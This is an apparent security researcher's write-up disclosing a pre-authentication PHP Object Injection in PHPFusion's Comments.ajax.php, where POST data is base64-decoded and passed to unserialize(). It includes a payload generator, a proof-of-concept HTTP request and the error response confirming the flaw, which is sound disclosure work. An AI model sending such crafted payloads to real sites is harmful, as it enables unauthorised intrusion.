C110: PHPFusion v9.03.60, PHP Object Injection (pre-auth)
After I found some vulnerability, I figured it was time to look for something more fun to exploit. And that’s when the code on this page made me tick.
File: <ROOT>/includes/classes/PHPFusion/Feedback/Comments.ajax.php
...
require_once __DIR__.'/../../../../maincore.php';
require_once THEME."theme.php";
require_once THEMES."templates/render_functions.php";
require_once INCLUDES."comments_include.php";
if (isset($_GET['action']) && iMEMBER) {
...
} else {
$ajax_respond = \defender::unserialize($_POST['comment_options']);
$ajax_respond['comment_custom_script'] = TRUE;
echo PHPFusion\Feedback\Comments::getInstance($ajax_respond, $ajax_respond['comment_key'])->showComments();
}
So according to line
$ajax_respond = \defender::unserialize($_POST['comment_options']);
there is a
kind of unserialize performed on an input that we control and this as a
unauthenticated user. Let’s take a closer look at what this function does.
File: <ROOT>/includes/defender.inc
/**
* Read serialized array
*
* @param $string - serialized string
*
* @return array|mixed
*/
public static function unserialize( $string ) {
$return_default = [];
if ( !empty( $string ) ) {
$array = unserialize( base64_decode( $string ) );
if ( !empty( $array ) ) {
return $array;
}
}
return $return_default;
}
Okay, that’s what I thought we were dealing with a PHP Object Injection. Just to confirm that it is exploitable without authentication, we just send a request with a crafted payload.
Create the following file:
File: gen.php
<?php
$array = base64_encode(serialize('test'));
var_dump($array);
?>
Which once executed gives:
▶ php gen.php
string(16) "czo0OiJ0ZXN0Ijs="
Now all we have to do is send the request.
Request:
POST /projects/php-fusion/includes/classes/PHPFusion/Feedback/Comments.ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 32
comment_options=czo0OiJ0ZXN0Ijs=
Response:
HTTP/1.1 200 OK
Date: Thu, 21 May 2020 17:17:35 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP-Fusion 9.03.50
Set-Cookie: fusion1LSF9_session=5ee172f399ee5a3a651548b152168581; expires=Sat, 23-May-2020 17:17:35 GMT; Max-Age=172800; path=/
Set-Cookie: fusion1LSF9_visited=yes; expires=Fri, 21-May-2021 17:17:35 GMT; Max-Age=31536000; path=/
Set-Cookie: fusion1LSF9_lastvisit=1590077855; expires=Thu, 21-May-2020 18:17:35 GMT; Max-Age=3600; path=/projects/php-fusion/; domain=127.0.0.1; HttpOnly
Vary: Accept-Encoding
Cache-Control: max-age=1, private, must-revalidate
Content-Length: 2161
Connection: close
Content-Type: text/html; charset=UTF-8
<br />
<font size='1'><table class='xdebug-error xe-uncaught-exception' dir='ltr' border='1' cellspacing='0' cellpadding='1'>
<tr><th align='left' bgcolor='#f57900' colspan="5"><span style='background-color: #cc0000; color: #fce94f; font-size: x-large;'>( ! )</span> Fatal error: Uncaught TypeError: Argument 1 passed to PHPFusion\Feedback\Comments::getInstance() must be of the type array, string given, called in /var/www/html/projects/php-fusion/includes/classes/PHPFusion/Feedback/Comments.ajax.php on line 74 and defined in /var/www/html/projects/php-fusion/includes/classes/PHPFusion/Feedback/Comments.inc on line <i>127</i></th></tr>
<tr><th align='left' bgcolor='#f57900' colspan="5"><span style='background-color: #cc0000; color: #fce94f; font-size: x-large;'>( ! )</span> TypeError: Argument 1 passed to PHPFusion\Feedback\Comments::getInstance() must be of the type array, string given, called in /var/www/html/projects/php-fusion/includes/classes/PHPFusion/Feedback/Comments.ajax.php on line 74 in /var/www/html/projects/php-fusion/includes/classes/PHPFusion/Feedback/Comments.inc on line <i>127</i></th></tr>
<tr><th align='left' bgcolor='#e9b96e' colspan='5'>Call Stack</th></tr>
<tr><th align='center' bgcolor='#eeeeec'>#</th><th align='left' bgcolor='#eeeeec'>Time</th><th align='left' bgcolor='#eeeeec'>Memory</th><th align='left' bgcolor='#eeeeec'>Function</th><th align='left' bgcolor='#eeeeec'>Location</th></tr>
<tr><td bgcolor='#eeeeec' align='center'>1</td><td bgcolor='#eeeeec' align='center'>0.0010</td><td bgcolor='#eeeeec' align='right'>409384</td><td bgcolor='#eeeeec'>{main}( )</td><td title='/var/www/html/projects/php-fusion/includes/classes/PHPFusion/Feedback/Comments.ajax.php' bgcolor='#eeeeec'>.../Comments.ajax.php<b>:</b>0</td></tr>
<tr><td bgcolor='#eeeeec' align='center'>2</td><td bgcolor='#eeeeec' align='center'>0.0635</td><td bgcolor='#eeeeec' align='right'>4237072</td><td bgcolor='#eeeeec'>PHPFusion\Feedback\Comments::getInstance( )</td><td title='/var/www/html/projects/php-fusion/includes/classes/PHPFusion/Feedback/Comments.ajax.php' bgcolor='#eeeeec'>.../Comments.ajax.php<b>:</b>74</td></tr>
</table></font>
The vulnerability is confirmed.
In case I find a way to go further with this vulnerability I will post a new chapter.